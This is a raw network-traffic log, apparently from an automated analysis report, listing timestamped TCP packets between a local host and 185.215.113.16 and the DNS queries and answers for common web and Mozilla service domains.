Jul 26, 2024 10:37:05.356277943 CEST	80	49757	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:05.356441021 CEST	80	49755	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:05.356508970 CEST	49757	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:05.356633902 CEST	49757	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:05.356692076 CEST	49755	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:05.361669064 CEST	80	49757	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.127270937 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.127310038 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.127343893 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.127351999 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.127377987 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.127410889 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.127414942 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.127414942 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.127445936 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.127448082 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.127471924 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.127485037 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.127518892 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.127520084 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.127535105 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.127552032 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.127583981 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.127592087 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.127612114 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.127629995 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.129410982 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.129498005 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.132585049 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.132671118 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.143786907 CEST	80	49757	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.143893957 CEST	49757	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.144562006 CEST	49757	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.149657965 CEST	80	49757	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.155925035 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.155997992 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.156022072 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.156049013 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.156052113 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.156100035 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.156116962 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.156151056 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.156174898 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.156184912 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.156196117 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.156219006 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.156245947 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.156254053 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.156265020 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.156305075 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.156771898 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.156826019 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.156841040 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.156860113 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.156873941 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.156905890 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.157648087 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.157700062 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.157716036 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.157733917 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.157753944 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.157768011 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.157778978 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.157800913 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.157814980 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.157846928 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.158128023 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.158181906 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.158190966 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.158242941 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.161509037 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.161562920 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.161596060 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.161596060 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.161626101 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.161640882 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.162199020 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.162261009 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.162275076 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.162341118 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.264079094 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.264102936 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.264120102 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.264142036 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.264188051 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.324572086 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.324589014 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.324644089 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.328006983 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.328022003 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.328057051 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.328097105 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.331233025 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.331248999 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.331286907 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.331321955 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.334397078 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.334413052 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.334445953 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.334474087 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.337199926 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.337215900 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.337229967 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.337249041 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.337290049 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.339930058 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.339943886 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.339984894 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.340048075 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.342689037 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.342706919 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.342740059 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.342772007 CEST	49756	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:37:06.345396996 CEST	80	49756	185.215.113.16	192.168.2.6
Jul 26, 2024 10:37:06.345412016 CEST	80	49756	185.215.113.16	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 26, 2024 10:37:14.326273918 CEST	192.168.2.6	1.1.1.1	0xe0e5	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.326474905 CEST	192.168.2.6	1.1.1.1	0xc6a4	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Jul 26, 2024 10:37:14.823673010 CEST	192.168.2.6	1.1.1.1	0xcfeb	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.823888063 CEST	192.168.2.6	1.1.1.1	0xc30b	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Jul 26, 2024 10:37:15.890615940 CEST	192.168.2.6	1.1.1.1	0xcd07	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:15.891004086 CEST	192.168.2.6	1.1.1.1	0x6489	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Jul 26, 2024 10:37:17.744469881 CEST	192.168.2.6	1.1.1.1	0x308b	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:17.744632006 CEST	192.168.2.6	1.1.1.1	0x27b6	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jul 26, 2024 10:37:17.744869947 CEST	192.168.2.6	1.1.1.1	0xfe90	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:17.744983912 CEST	192.168.2.6	1.1.1.1	0x6b21	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jul 26, 2024 10:37:17.925086975 CEST	192.168.2.6	1.1.1.1	0x8cb	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:17.925318956 CEST	192.168.2.6	1.1.1.1	0x6bb9	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jul 26, 2024 10:37:22.542531967 CEST	192.168.2.6	1.1.1.1	0x1c59	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:22.593080044 CEST	192.168.2.6	1.1.1.1	0x74f1	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:22.616498947 CEST	192.168.2.6	1.1.1.1	0x548b	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 10:37:24.211709976 CEST	192.168.2.6	1.1.1.1	0xbde4	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:24.220199108 CEST	192.168.2.6	1.1.1.1	0x8b07	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:24.534773111 CEST	192.168.2.6	1.1.1.1	0xd411	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:25.398263931 CEST	192.168.2.6	1.1.1.1	0xc975	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:25.407867908 CEST	192.168.2.6	1.1.1.1	0x7ea9	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 10:37:29.353034019 CEST	192.168.2.6	1.1.1.1	0x5be4	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.362842083 CEST	192.168.2.6	1.1.1.1	0x668e	Standard query (0)	youtube-ui.l.google.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.397409916 CEST	192.168.2.6	1.1.1.1	0x3138	Standard query (0)	youtube-ui.l.google.com	28	IN (0x0001)	false
Jul 26, 2024 10:37:29.654876947 CEST	192.168.2.6	1.1.1.1	0x643b	Standard query (0)	accounts.youtube.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:29.655703068 CEST	192.168.2.6	1.1.1.1	0xa405	Standard query (0)	accounts.youtube.com	65	IN (0x0001)	false
Jul 26, 2024 10:37:32.954617023 CEST	192.168.2.6	1.1.1.1	0x7441	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:32.999068022 CEST	192.168.2.6	1.1.1.1	0xbfc6	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:33.010454893 CEST	192.168.2.6	1.1.1.1	0x86de	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Jul 26, 2024 10:37:38.019593000 CEST	192.168.2.6	1.1.1.1	0xb8a6	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:38.034521103 CEST	192.168.2.6	1.1.1.1	0x236a	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:38.050239086 CEST	192.168.2.6	1.1.1.1	0xd67f	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 10:37:40.178746939 CEST	192.168.2.6	1.1.1.1	0xc982	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:40.214257956 CEST	192.168.2.6	1.1.1.1	0x67c0	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 10:37:42.056364059 CEST	192.168.2.6	1.1.1.1	0x920c	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:47.829513073 CEST	192.168.2.6	1.1.1.1	0xcd9f	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:48.011481047 CEST	192.168.2.6	1.1.1.1	0xbf4c	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:48.022634983 CEST	192.168.2.6	1.1.1.1	0x7593	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 10:37:48.450717926 CEST	192.168.2.6	1.1.1.1	0x3dc8	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:48.450870037 CEST	192.168.2.6	1.1.1.1	0xa670	Standard query (0)	play.google.com	65	IN (0x0001)	false
Jul 26, 2024 10:37:55.978686094 CEST	192.168.2.6	1.1.1.1	0xdf6a	Standard query (0)	www.facebook.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:55.979010105 CEST	192.168.2.6	1.1.1.1	0x628b	Standard query (0)	www.wikipedia.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:55.979847908 CEST	192.168.2.6	1.1.1.1	0x3e94	Standard query (0)	www.reddit.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:56.195753098 CEST	192.168.2.6	1.1.1.1	0xb989	Standard query (0)	dyna.wikimedia.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:56.196448088 CEST	192.168.2.6	1.1.1.1	0x3a81	Standard query (0)	reddit.map.fastly.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:56.197382927 CEST	192.168.2.6	1.1.1.1	0x4493	Standard query (0)	star-mini.c10r.facebook.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:56.204705954 CEST	192.168.2.6	1.1.1.1	0x2ff0	Standard query (0)	dyna.wikimedia.org	28	IN (0x0001)	false
Jul 26, 2024 10:37:56.205446959 CEST	192.168.2.6	1.1.1.1	0x1229	Standard query (0)	reddit.map.fastly.net	28	IN (0x0001)	false
Jul 26, 2024 10:37:56.205683947 CEST	192.168.2.6	1.1.1.1	0xc8db	Standard query (0)	star-mini.c10r.facebook.com	28	IN (0x0001)	false
Jul 26, 2024 10:37:56.213001013 CEST	192.168.2.6	1.1.1.1	0x7e0c	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:56.229751110 CEST	192.168.2.6	1.1.1.1	0xa943	Standard query (0)	twitter.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:56.238270998 CEST	192.168.2.6	1.1.1.1	0x3e8	Standard query (0)	twitter.com	28	IN (0x0001)	false
Jul 26, 2024 10:37:57.708555937 CEST	192.168.2.6	1.1.1.1	0x3840	Standard query (0)	firefox.settings.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:57.717011929 CEST	192.168.2.6	1.1.1.1	0x6cb0	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:57.725675106 CEST	192.168.2.6	1.1.1.1	0x6fda	Standard query (0)	prod.remote-settings.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 10:37:57.849375010 CEST	192.168.2.6	1.1.1.1	0x6adf	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:59.631937027 CEST	192.168.2.6	1.1.1.1	0xe9eb	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:59.637887001 CEST	192.168.2.6	1.1.1.1	0xc285	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:59.640057087 CEST	192.168.2.6	1.1.1.1	0x8cf6	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 10:37:59.649837017 CEST	192.168.2.6	1.1.1.1	0x2da8	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Jul 26, 2024 10:37:59.797684908 CEST	192.168.2.6	1.1.1.1	0x23f3	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:00.468005896 CEST	192.168.2.6	1.1.1.1	0x9d2d	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:00.485186100 CEST	192.168.2.6	1.1.1.1	0x5757	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:00.532582998 CEST	192.168.2.6	1.1.1.1	0x5757	Standard query (0)	services.addons.mozilla.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:00.555107117 CEST	192.168.2.6	1.1.1.1	0x1f9e	Standard query (0)	services.addons.mozilla.org	28	IN (0x0001)	false
Jul 26, 2024 10:38:06.993088007 CEST	192.168.2.6	1.1.1.1	0xf876	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Jul 26, 2024 10:38:11.670329094 CEST	192.168.2.6	1.1.1.1	0xd155	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:18.239609003 CEST	192.168.2.6	1.1.1.1	0xac4a	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:18.239722013 CEST	192.168.2.6	1.1.1.1	0x2e35	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jul 26, 2024 10:38:19.730735064 CEST	192.168.2.6	1.1.1.1	0x2c31	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Jul 26, 2024 10:38:20.275643110 CEST	192.168.2.6	1.1.1.1	0xddad	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:22.755315065 CEST	192.168.2.6	1.1.1.1	0x4f61	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:43.907835007 CEST	192.168.2.6	1.1.1.1	0x7005	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:38:44.446053982 CEST	192.168.2.6	1.1.1.1	0xdb21	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:39:03.641141891 CEST	192.168.2.6	1.1.1.1	0xa4f7	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:39:03.650435925 CEST	192.168.2.6	1.1.1.1	0xcf37	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:39:03.658930063 CEST	192.168.2.6	1.1.1.1	0x8f01	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 10:39:17.131378889 CEST	192.168.2.6	1.1.1.1	0x13ca	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:39:17.131506920 CEST	192.168.2.6	1.1.1.1	0x895b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jul 26, 2024 10:39:21.766870975 CEST	192.168.2.6	1.1.1.1	0x1d16	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:39:38.416644096 CEST	192.168.2.6	1.1.1.1	0xab87	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:39:38.454133034 CEST	192.168.2.6	1.1.1.1	0xab87	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:39:38.591576099 CEST	192.168.2.6	1.1.1.1	0x1	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:40:24.245997906 CEST	192.168.2.6	1.1.1.1	0x7b93	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Jul 26, 2024 10:40:24.734519958 CEST	192.168.2.6	1.1.1.1	0x9169	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:40:44.984688044 CEST	192.168.2.6	1.1.1.1	0xc096	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:40:44.995868921 CEST	192.168.2.6	1.1.1.1	0x4aaf	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:40:53.041379929 CEST	192.168.2.6	1.1.1.1	0x1a02	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:40:53.041518927 CEST	192.168.2.6	1.1.1.1	0xbd41	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jul 26, 2024 10:40:56.555810928 CEST	192.168.2.6	1.1.1.1	0x22fd	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:40:56.555980921 CEST	192.168.2.6	1.1.1.1	0xd5b	Standard query (0)	play.google.com	65	IN (0x0001)	false
Jul 26, 2024 10:42:32.963402033 CEST	192.168.2.6	1.1.1.1	0x2c6a	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:42:32.963402987 CEST	192.168.2.6	1.1.1.1	0x4b99	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:42:32.963907003 CEST	192.168.2.6	1.1.1.1	0x4e40	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:42:32.978669882 CEST	192.168.2.6	1.1.1.1	0x83ef	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Jul 26, 2024 10:42:32.980709076 CEST	192.168.2.6	1.1.1.1	0x8652	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Jul 26, 2024 10:42:33.464534998 CEST	192.168.2.6	1.1.1.1	0xf98a	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:43:16.369249105 CEST	192.168.2.6	1.1.1.1	0x64f	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:43:16.369385958 CEST	192.168.2.6	1.1.1.1	0x6d65	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jul 26, 2024 10:43:25.520416021 CEST	192.168.2.6	1.1.1.1	0xdc44	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:43:25.541691065 CEST	192.168.2.6	1.1.1.1	0x2b8f	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:43:26.818455935 CEST	192.168.2.6	1.1.1.1	0xf979	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:44:26.005930901 CEST	192.168.2.6	1.1.1.1	0x5a2d	Standard query (0)	telemetry-incoming.r53-2.services.mozilla.com	28	IN (0x0001)	false
Jul 26, 2024 10:44:26.479562044 CEST	192.168.2.6	1.1.1.1	0xb8ec	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:44:26.490598917 CEST	192.168.2.6	1.1.1.1	0xa5dc	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 26, 2024 10:37:14.360368967 CEST	1.1.1.1	192.168.2.6	0xe0e5	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 10:37:14.360368967 CEST	1.1.1.1	192.168.2.6	0xe0e5	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.360368967 CEST	1.1.1.1	192.168.2.6	0xe0e5	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.360368967 CEST	1.1.1.1	192.168.2.6	0xe0e5	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.360368967 CEST	1.1.1.1	192.168.2.6	0xe0e5	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.360368967 CEST	1.1.1.1	192.168.2.6	0xe0e5	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.360368967 CEST	1.1.1.1	192.168.2.6	0xe0e5	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.360368967 CEST	1.1.1.1	192.168.2.6	0xe0e5	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Jul 26, 2024 10:37:14.360368967 CEST	1.1.1.1	192.168.2.6	0xe0e5	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
